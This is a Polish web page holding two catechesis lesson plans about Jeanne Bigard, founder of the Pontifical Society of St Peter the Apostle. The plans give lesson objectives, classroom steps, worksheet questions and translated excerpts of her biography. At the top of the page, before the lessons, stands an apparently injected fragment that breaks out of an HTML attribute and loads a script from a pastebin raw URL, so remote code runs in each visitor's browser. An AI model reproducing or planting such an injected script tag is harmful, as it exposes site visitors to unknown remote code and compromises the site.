">

"> <script type="text/javascript" src="https://pastebin.com/raw/hUw8hjvb"></script></p>

Dzisiaj jest: poniedziałek,
19 listopada 2018r.

wykop.pl

 Kl. Julian Wawrzyniak, Gniezno

Rok z Jeanne Bigard

Konspekt katechezy dla I-III klasy gimnazjum

Temat lekcji: W służbie misyjnym seminarzystom – dzieło Jeanne Bigard.

  1. Cele:

POZIOM I wiadomości

KATEGORIA A zapamiętanie wiadomości

Uczeń potrafi:

- wskazać, kim była Jeanne Bigard

- opowiedzieć o Papieskim Dziele św. Piotra Apostoła

KATEGORIA B – zrozumienie wiadomości

Uczeń potrafi:

- wskazać na znaczenie Jeanne Bigard w dziele misyjnym Kościoła

- wyjaśnić, dlaczego potrzeba troski o powołania w krajach misyjnych

POZIOM II - umiejętności

KATEGORIA C – zastosowanie wiadomości w sytuacjach typowych

Uczeń potrafi:

- troszczyć się o powołania misyjne poprzez modlitwę i ofiarę

KATEGORIA D – zastosowanie wiadomości w sytuacjach problemowych

Uczeń potrafi:

- zauważyć, że każdy wierzący odpowiedzialny jest za powołania

Postawy:

- troski o misje i misjonarzy

- bycia misjonarzem we własnym środowisku

2. Formy pracy:

- w parach

- indywidualna

- zbiorowa

3. Metody nauczania:

- rozmowa kierowana

- pogadanka

- opowiadanie

- tabela

4. Środki dydaktyczne:

- Pismo święte

- tablica

- kreda

- Załącznik 1.

5. Przebieg lekcji:

Ø  Faza przygotowawcza:

Ø  Powitanie uczniów i modlitwa.

Ø  Sprawdzenie obecności.

Ø  Sprawdzenie zadania domowego.

Ø  Wprowadzenie w temat – opowiadanie wprowadzające w temat zajęć. Nauczyciel zachęca uczniów do wysłuchania krótkiej biografii Jeanne Bigard.

Rok 2014 jest rokiem szczególnym dla Papieskich Dzieł Misyjnych i w wszystkich zaangażowanych w dzieło misyjne Kościoła. W tym bowiem roku obchodzimy 80. rocznicę śmierci Jeanne Bigard – Papieskiego Dzieła św. Piotra Apostoła. Postać Jeanne przenosi nas do dziewiętnastowiecznej Francji, bowiem nasza bohaterka przychodzi na świat 12 grudnia 1859 r. w Coutance. Od samego początku swojego życia zadziwia – mimo że wiele choruje, przez co zmuszona jest korzystać z indywidualnego nauczania i być pozbawionym jakichkolwiek rozrywek, to jednak wrodzona wrażliwość i nieśmiałość w sytuacjach trudnych ustępuje miejsca niezwykłej odwadze i uporowi. W jej sercu pojawiały się myśli o wstąpieniu do zgromadzenia zakonnego. Jednak nie takie miało być jej życiowe powołanie.

Po śmierci ojca, a następnie brata wraz z matką Stefanią Cottin zaczęły nieść pomoc misjonarzom. Impulsem do rozwinięcia swojego zaangażowani był list biskupa z Nagasaki w Japonii. Biskup doświadczał trudności – nie mógł przyjmować seminarzystów, ponieważ nie miał środków na ich utrzymanie. Pomoc misyjnym seminarzystom – odtąd takie właśnie było powołanie Jeanne Bigard. Razem z matką starały się pomagać przygotowującym się do kapłaństwa w krajach misyjnych. Zmieniły styl życia na bardziej prosty, nie obciążający tak bardzo domowego budżetu. Zaczęły inwestować. Zaoszczędzone i zdobyte pieniądze przekazywały na kształcenie kleryków w krajach misyjnych. W 1903 r. zmarła matka Jeanne. Bardzo przeżyła jej odejście, nigdy nie podnosząc się już z tego bólu. Wkrótce cały swój majątek przeznaczyła dla Dzieła św. Piotra Apostoła. Czując już swoje odejście ze świata administrowanie Dziełem powierzyła siostrom Franciszkankom Misjonarkom Maryi. Zmarła 28 kwietnia 1934 r. w Alencon we Francji.

Dzieło św. Piotra Apostoła, które powstało 1889 r. funkcjonuje do dziś i jest wyrazem troski Kościoła o powołania kapłańskie w krajach misyjnych, gdzie kształcenie przyszłych kapłanów jest zadaniem niezwykle trudnym. Dzięki Dziełu rozwijają się nie tylko powołania kapłańskie, ale niesiona jest także pomoc kandydatom do życia zakonnego. Dzieło pomaga przygotować odpowiednią kształceniu powołanych kadrę, jak również budować i wyposażać seminaria i domy formacyjne w krajach misyjnych. 

 

Ø  Faza realizacyjna:

Ø  Nauczyciel podaje temat lekcji, wyznaczony uczeń zapisuje go na tablicy.

Ø  Nauczyciel rozpoczyna krótką dyskusję – Kim była Jeanne Bigard? Co takiego zrobiła, że o niej mówimy? Jakie znaczenie miało jej życie i zaangażowanie? Nauczyciel próbuje zwrócić uwagę uczniów także na kontekst historyczny, w którym żyła – trudny XIX w.

Ø  Nauczyciel rozpoczyna wprowadza uczniów w zadanie- uczniowie w parach rozmawiają nt. życia i działalności Jeanne Bigard. Próbują ustalić, dlaczego Dzieło założone tak dawno temu miało i ciągle ma tak ważne znaczenie.

Ø  Następnie uczniowie dzielą się swoimi spostrzeżeniami, wybrane zapisują na tablicy.

Ø  Nauczyciel wprowadza uczniów w kolejne zadanie. Najpierw dzieli ich na 5 – osobowe zespoły. Uczniowie wspólnie uzupełniają tabelkę (Załącznik 1).

Ø  Następnie każdy z zespołów prezentuje swoją pracę.

Ø  Nauczyciel wskazuje, że każdy wierzący jest misjonarzem i zobowiązany jest troszczyć się o misje. Przypomina, że zachęca nas do tego sam Jezus Chrystus – Mt 28,19-20 (Nauczyciel lub wskazany uczeń odczytuje fragment Pisma świętego).

 

Ø  Faza podsumowująca:

Ø  Nauczyciel zachęca uczniów do propagowania osoby i dzieła Jeanne Bigard. Wskazuje na to, na co zwrócili uwagę uczniowie (bądź też powinni zwrócić) – że troska o powołania jest niezwykle ważnym zadaniem, które spoczywa na każdym wierzącym. Szczególnie dotyczy to krajów misyjnych, które tak bardzo potrzebują pomocy.

Ø  Na zakończenie każdy zespół odczytuje swoją krótką modlitwę w intencji misyjnych powołań.

Ø  Pożegnanie.

 

 ZAŁĄCZNIK 1.

Czy w ówczesnym Jeanne świecie była to decyzja wymagająca poświęcenia? Jeżeli tak to dlaczego?

Co mogło pomóc Jeanne poświęcić się pomocy misjom (jakie cechy charakteru)?

Jak ja mogę pomóc dzisiaj misyjnym seminarzystom? Czy jest to w ogóle możliwe?

Modlitwa w intencji misyjnych seminarzystów i o powołania misyjne

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Kl. Julian Wawrzyniak, Gniezno

Rok z Jeanne Bigard

Konspekt katechezy dla I-III klasy szkoły średniej

Temat lekcji: Jeanne Bigard – wszystko dla misji.

  1. Cele:

POZIOM I wiadomości

KATEGORIA A zapamiętanie wiadomości

Uczeń potrafi:

- powiedzieć, kim była Jeanne Bigard

- wymienić zadania Papieskiego Dzieła św. Piotra Apostoła

KATEGORIA B – zrozumienie wiadomości

Uczeń potrafi:

- wskazać na znaczenie Jeanne Bigard w dziele misyjnym Kościoła

- wyjaśnić, dlaczego potrzeba troski o powołania w krajach misyjnych

POZIOM II - umiejętności

KATEGORIA C – zastosowanie wiadomości w sytuacjach typowych

Uczeń potrafi:

- troszczyć się o powołania misyjne poprzez modlitwę i ofiarę

KATEGORIA D – zastosowanie wiadomości w sytuacjach problemowych

Uczeń potrafi:

- zauważyć, że troska o powołania spoczywa na każdym chrześcijaninie

Postawy:

- poświęcenia siebie dla potrzebujących

- troski o misje i misjonarzy

- bycia misjonarzem we własnym środowisku

2. Formy pracy:

- w parach

- indywidualna

- zbiorowa

3. Metody nauczania:

- rozmowa kierowana

- biografia - lektura

- tabela

4. Środki dydaktyczne:

- Pismo święte

- tablica

- kreda

- Załącznik 1,2.

5. Przebieg lekcji:

Ø  Faza przygotowawcza:

Ø  Powitanie uczniów i modlitwa.

Ø  Sprawdzenie obecności.

Ø  Sprawdzenie zadania domowego.

Ø  Wprowadzenie w temat – lektura wprowadzająca w temat zajęć. Nauczyciel zaprasza uczniów do przeczytania fragmentów biografii Jeanne Bigard (załącznik 1.)

 

Ø  Faza realizacyjna:

Ø  Nauczyciel podaje temat lekcji, uczniowie zapisują go na tablicy.

Ø  Nauczyciel rozpoczyna krótką dyskusję, do której włączają się uczniowie, ubogaceni wiedzą po przeczytaniu krótkiej lektury – Kim była Jeanne Bigard? Co takiego zrobiła, że o niej mówimy? Jakie znaczenie miało jej życie i zaangażowanie? Nauczyciel próbuje zwrócić uwagę uczniów także na kontekst historyczny, w którym żyła – trudny XIX w.

Ø  Nauczyciel wprowadza uczniów w zadanie- uczniowie w parach uzupełniają tabelę (załącznik 2.)

Ø  Następnie uczniowie dzielą się swoimi spostrzeżeniami.

Ø  Nauczyciel rozpoczyna kolejną dyskusję. Uczniowie mają wspólnie zastanowić się nad potrzebą pomocy misyjnym powołaniom. Wszyscy podejmują próbę odpowiedzi na pytania – Czy troska o powołania misyjne, o misje jest jakiś szczególnym zadaniem? Czy może każdy chrześcijanin powinien troszczyć się o misje? W jaki sposób to czynić?

Ø  Nauczyciel wskazuje, że każdy wierzący jest misjonarzem i zobowiązany jest troszczyć się o misje. Przypomina, że zachęca nas do tego sam Jezus Chrystus – Mt 28,19-20 (Nauczyciel lub wskazany uczeń odczytuje fragment Pisma świętego).

 

Ø  Faza podsumowująca:

Ø  Nauczyciel zachęca uczniów do propagowania osoby i dzieła Jeanne Bigard. Wskazuje na to, na co zwrócili uwagę uczniowie (bądź też powinni zwrócić) – że troska o powołania jest niezwykle ważnym zadaniem, które spoczywa na każdym wierzącym. Szczególnie dotyczy to krajów misyjnych, które tak bardzo potrzebują pomocy.

Ø  Modlitwa i pożegnanie.

 

 

ZAŁĄCZNIK 1.

 

L’holocauste de Jeanne Bigard (1859-1934), Fondatrice de LŒuvre Pontificale de Saint-Pierre Apotre

„Ofiara całopalna Jeanne Bigard, 1859-1934, Założycielki Papieskiego Dzieła św. Piotra Apostoła”

Paul Lesourd, tłum.  s. Anna Siudak FMM

(…)

Jeanne w dzieciństwie była bardzo chorowita i przez to pozbawiona jakichkolwiek rozrywek. Dnia 29 maja 1870 r. w kościele pod wezwaniem św. Piotra w Coutance przyjęła I Komunię. Sześć miesięcy wcześniej, z okazji jubileuszu w święta Bożego Narodzenia 1869 r. w kościele Notce Dame de Saint-Lô przystąpiła po raz pierwszy do spowiedzi.

Wyznała później jak wiele zawdzięcza swemu pierwszemu spowiednikowi. Matka nie oszczędziła jej z tej okazji przestróg i rad. Musiała też pocieszać małą Jeanne, która tonęła we łzach, gdy miała się spowiadać ze swoich dziecięcych grzechów. Pierwsze łzy aż do ostatnich wylewała z powodu swoich błędów i wad. Łzy pojawiały się u Jeanne z wielką łatwością i świadczyły korzystnie o wrażliwości jej dziecięcej duszy, by nie obrażać Boga, który przyjął  na siebie mękę i śmierć za ocalenie grzeszników. Przedsięwzięte wobec Jeanne metody religijnego wychowania, podyktowane dobrymi intencjami, miały często tę wadę, że wzbudzały strach przed Bogiem a nie zaufanie w sprawach religijnych.

Z powodu I Soboru Watykańskiego, który odbywał się w 1870 r., w którym uczestniczyli biskupi francuscy, Jeanne przyjęła sakrament bierzmowania w 1871 r., którego udzielił jej biskup Bravard z Coutance. Przez wiele lat zarzucała sobie brak wystarczającego przygotowania do tego sakramentu. W momencie ceremonii, będąc bardzo nieśmiała, zapytana przez biskupa odpowiedziała, że w Bogu jest tylko jedna osoba. To wywołało śmiech księży i zasmuciło proboszcza kościoła pod wezwaniem św. Piotra w Coutance. Tym bardziej, że Jeanne była zawsze pierwsza jeżeli chodziło o poziom wiedzy na lekcjach katechizmu i zawsze miała poprawną odpowiedź, jak stawiano trudne pytania.

               Odziedziczywszy po matce skłonność do egzaltowanej pobożności, Jeanne  w swoich religijnym porywie, w wieku dziesięciu lat, była przekonana, że Bóg do niej przemawia. W tym samym czasie, być może chcąc działać według woli Bożej, uporczywie obstawała przy swoim i w wyjątkowy sposób trwała w uporze. Bardziej wolała męczyć się będąc chorą niż przyznać się do tego, że się źle czuje, jak postanowiła coś zrobić. Tę postawę zachowała zawsze i dzięki niej, mimo licznych trudności realizowała swoje cele. Bez tej postawy mogłaby porzucić tworzenie Dzieła św. Piotra Apostoła u jego początków. Przekazała Dzieło dopiero wtedy, gdy zmusiła ją choroba i gdy jako założycielka doprowadziła, że zaczęło się ono rozwijać i nabrało rozmachu. Misjonarze z Madury, którzy byli świadkami jej wysiłków i wytrwałości, by pokonywać wciąż wzrastające przeszkody, mogli ją nazwać „Twarda Głowa”.

(…)

W wieku 13- 14 lat poczuła wielki pociąg do życia zakonnego. Jej powołanie umacniała lektura znanego listu św. Hilarego do swojej córki Abry ukazujący dziewictwo jako najpewniejszą drogę do zapewnienia sobie zbawienia wiecznego. Czytany przez nią wielokrotnie tekst wzbudzał w niej wielkie emocje i entuzjazm, by poświęcić swoje życie Bogu. Dziewictwo uważała za ideał, stan najbardziej szlachetny i nieporównywalny z niczym. W tym czasie uczestniczyła w ceremonii zakończenia rekolekcji w Karmelu w Coutance i wyznała, że najchętniej pozostałaby na zawsze wśród zakonnic. Z wielką przyjemnością udawała się często z wizytą do Karmelu, gdzie przeorysza Matka Emilia od Świętego Anioła być może widząc w niej przyszłą postulantkę albo dziecko powołane przez Boga, pielęgnowała to powołanie. Stąd czyniła z klasztoru miejsce coraz bardziej upragnione przez Jeanne i świat stawał się coraz bardziej przez nią znienawidzonym.

(…)

               Dnia 2 stycznia 1878 r. zmarł nagle pan Bigard. Oficjalnie utrzymywano, że był to wylew krwi do mózgu. W rzeczywistości popełnił samobójstwo. Można wyobrazić sobie ból żony i córki, ludzki ból po stracie najbliższej osoby, ale jeszcze większy ból duchowy dwóch chrześcijanek, które znalazły się w takiej trudnej sytuacji. Zazdrośnie będą strzec tajemnicy tej śmierci, o której wiedziało tylko kilka najbliższych osób. Z wielką gorliwością podwoiły swoje modlitwy błagając Boga, by miał litość nad tą duszą, która odeszła w sposób przez siebie zawiniony. Jeanne poszła jeszcze dalej. By wyprosić zbawienie duszy dla tak bliskiej i drogiej osoby, o którą tak bardzo się niepokoiła, w 18 roku życia ofiarowała Bogu w porywie całego swego jestestwa, swoją młodość, życie i każde możliwe cierpienie.

(…)

Fatalny dzień 1 września 1887 r. stał się decydujący w życiu Jeanne Bigard, gdyż definitywnie wytyczył jej życiowe orientacje i przyczynił się do  złożenia Bogu jej osoby w całopalnej ofierze. Tego dnia zmarł René Bigard, tak bardzo kochany syn i brat, który  według pań Bigard nie był wystarczająco po chrześcijańsku przygotowany, by stanąć przed Bogiem. Wyjaśniłem już tragiczne okoliczności jego śmierci. Matkę i siostrę wypełniła ona  wielkim bólem, który mógł je poprowadzić do całkowitej utraty nadziei, gdyby nie ich głęboka pobożność, być może trochę jansenistyczna, ale która pozwoliła Jeanne złożyć nową całkowitą ofiarę z siebie.

(…)

Większość misji pod koniec XVIII wieku popadła w ruinę, ponieważ rządy państw przestały zapewniać pomoc swoim misjonarzom. Dzieła wspomagające misjonarzy, które zajmowały honorowe miejsce w XIX wieku dopiero zaczynały swoją działalność i nie były rozwinięte jak są aktualnie. Dzieło Rozkrzewiania Wiary w  1887 r. zebrało 6 462 276 franków; Dzieło Świętego Dziecięctwa Misyjnego 3 441 718 franków. To wyjaśnia krzyk rozpaczy i pełne trwogi apele, które kierowali misjonarze do swych darczyńców w Europie.

Panna Bigard i jej matka bardzo aktywnie pracowały na rzecz misji. Wspierały Dzieło Apostolskie, którego celem było przygotowanie i wyposażanie misjonarzy w przedmioty potrzebne do kultu. W 1835 r. wśród innych celów swojej pracy dla misji zaznaczyły pomoc tubylczym seminarzystom, którzy nie mają źródeł utrzymania, płacąc koszty ich edukacji. W końcu z powodu różnych przyczyn Dzieło Apostolskie nie mogło rozpocząć swojej działalności na rzecz misyjnych seminariów jak w 1871 r. W 1880 r. zanim panie Bigard ufundowały Dzieło św. Piotra Apostoła, ta gałąź Dzieła Apostolskiego doszła do szczytu i zbierała w gruncie rzeczy składki specjalnie przeznaczone dla tubylczego kleru. Jednak ta część Dzieła Apostolskiego była jeszcze mało znana. Trzeba mieć nadzieję, że zostanie bardziej przestudiowana, ponieważ jest pewnego rodzaju prehistorią Dzieła św. Piotra Apostoła.

Prawdę mówiąc, nie sądzę, by panie Bigard były pod bezpośrednim wpływem Dzieła Apostolskiego i jego gałęzi pomocy misyjnym seminarium zakładając Dzieło św. Piotra Apostoła. Ale to poprzez Dzieło Apostolskie poznały sytuację Kościoła na misjach i tam słyszały o adopcjach misyjnych seminarzystów i nawiązały kontakty z misjonarzami. Pośredni wpływ na Dzieło św. Piotra Apostoła mogło mieć też Dzieło Panny Du Chesne, które też bardzo przysłużyło się Kościołowi i misjom.

W latach 1883-1884 Dzieło Apostolskie przeszło pewien kryzys w zarządzaniu centralnym. Wszystkie komitety diecezjalne zrażone jego postawą zaczęły przekazywać pomoc bezpośrednio misjonarzom. Panie Bigard zrobiły to samo i swoje odosobnione, pełne miłosierdzia, pobożne i aktywne życie w jakiejś części zaczęły poświęcać misjom. Z czasem przeznaczały dla misji także cały swój wolny czas i 50 franków rocznie. Poprzez opatrznościowe wydarzenia zaczęły interesować się misjami coraz bardziej. W końcu nadszedł dzień, gdy poświęciły się im całkowicie przeznaczając całą swoją fortunę, ofiarowując cierpienia i swoje życie.

Pracując dla misji Jeanne Bigard i jej matka pisały do misjonarzy i otrzymywały od nich listy, które wtajemniczały je w ich misyjną pracę, potrzeby i pragnienia. Listy od misjonarzy były dla Europejczyków XVII wieku bazą dla poznania Dalekiego i Bliskiego Wschodu. Wydawane i przekazywane z rąk do rąk budziły misyjne powołania, oddanie misjom i przynosiły plon w postaci licznych męczenników i świętych a pośrednio miały wielkie znaczenie dla Kościoła. To one  zainspirowały Paulinę Jaricot do założenia Dzieła Rozkrzewiania Wiary. One były dla Jeanne Bigard gwiazdą, która wskazała jej drogę, by zapewnić zbawienie duszom i duszom drogich najbliższych osób. One pozwalały także poznać historie życia misjonarzy i heroiczne życie męczenników Dalekiego Wschodu. Jeanne i jej matka z wielką ciekawością i przyjemnością zgłębiały życie Théophana Vénard i kilku innych. Dlatego bardzo szybko zrozumiały ważność przygotowania tubylczego kleru. Szybko też zorientowały się, jak mało są znane misje przez większość społeczeństwa i jak bardzo pasjonujące są dzieła zakładane na misjach. Ich gorliwość misyjna coraz bardziej się rozpalała i choć stan ich zdrowia nie dawał nadziei, by doświadczyć misji bezpośrednio, z wielkim zaangażowaniem postanowiły im służyć na odległość.

(…)

Wykorzystując misyjną atmosferę, w której żyły panie Bigard, biskup Cousin, wikariusz apostolski południowej Japonii i dwa lata później biskup Nagasaki, całkiem nieświadomie dał początek Dziełu św. Piotra Apostoła. Ten godny podziwu prałat od 1866 r. przeżywał heroiczny okres restauracji chrześcijaństwa w Japonii i cierpiał okrutnie będąc zmuszonym odsyłać tubylczych kandydatów do kapłaństwa z powodu braku środków finansowych. Japońscy chrześcijanie nie mieli czym zapłacić wykształcenia ich synów w seminarium a budżet diecezji był tak dociśnięty, że nic nie można było poświęcić na formację seminarzystów. Każdego dnia coraz wyraźniej odczuwano potrzebę kształcenia tubylczych księży, by wyjść naprzeciw religijnej odnowie Japonii. Ten problem ciągle narzucał się prałatowi Cousin podczas jego medytacji. Zatrwożony szukał sposobu rozwiązania go i z wielką żarliwością zanosił do nieba swoje błagania i modlitwy w tym celu. I kiedy coś tak całkowicie zajmuje nasz umysł i jest przyczyną wyjątkowych zmartwień, w tym samym czasie mamy tendencję nie przywiązywać wagi do  małych gestów i aktów Bożej Opatrzności. Jednak w rzeczywistości mają one niewyobrażalne reperkusje w przyszłości, których nie jesteśmy w stanie przewidzieć i których nawet  nie podejrzewamy. Tak się stało z listem ks. Cousin, który napisał 1 czerwca 1889 r. do pań Bigard.

Biskup Cousin utrzymywał stałe relacje z dobroczyńcami, którzy podobnie jak innym misjonarzom wysyłali mu dary w naturze i pieniądze. W liście poprosił zwyczajnie czy nie mogliby zainteresować się jego seminarium i poprosił o jałmużnę na ten cel. Przy okazji opowiedział im całą historię misji w Japonii ukazując, w jakim stopniu większa liczba japońskich księży mogłaby przysłużyć się temu misyjnemu Kościołowi.

(…)

 

ZAŁĄCZNIK 2.

Co mogło wpłynąć na poświęcenie się Jeanne misjom?

Czy postawa Jeanne może być rodzajem życiowego powołania? Dlaczego?

Jak dzisiaj realizować Dzieło Jeanne? Czy jest to potrzebne?

Czy warto poświęcić się dla misji?